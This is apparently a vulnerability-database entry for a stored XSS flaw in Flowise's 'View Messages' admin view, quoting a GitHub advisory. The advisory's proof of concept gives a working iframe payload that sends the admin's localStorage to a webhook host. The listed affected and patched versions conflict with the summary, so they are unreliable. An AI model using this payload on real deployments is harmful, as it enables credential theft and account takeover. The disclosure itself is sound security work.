CVE-2025-50538
mediumpriority · track · 29EPSS 0.147 · 97 %ileDEEUUSEPSS · scored 2026-10-27
Flowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 5.6–9.3
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2025-2197Flowise: Mehrere Schwachstellen ermöglichen Cross-Site ScriptingDeutsch2025-10-05csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Flowise ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen.
- GHSA-964p-j4gg-mhwcFlowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel2025-10-03ghsa · osvUS
### Summary A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`. --- ### Details The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered. --- ### PoC 1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website). 2. Send the following payload via the agent's chat interface: ```html <iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> ``` 3. As an admin, go to the workflow and click **"View Messages"**. 4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint. --- ### Impact - **Type:** Stored Cross-Site Scripting (XSS) - **Who is impacted:** Any admin viewing messages in the FlowiseAI UI - **Data at risk:** Admin credentials, or sensitive info stored in `localStorage` - **Severity:** High (Account takeover, admin privilege escalation, full panel compromise) --- ### Affected Products - **Ecosystem:** `npm` - **Package name:** `flowise` - **Affected versions:** `< 2.2.7` - **Patched versions:**`1`
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://github.com/FlowiseAI/Flowise/pull/4905cnnvd
- https://github.com/FlowiseAI/Flowise/releasesPatchcnnvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5cnnvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwccnnvd
- https://github.com/FlowiseAI/Flowise/pull/4905enisa_euvd
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5enisa_euvd
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwcenisa_euvd
- https://github.com/FlowiseAI/Flowise/pull/4905Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan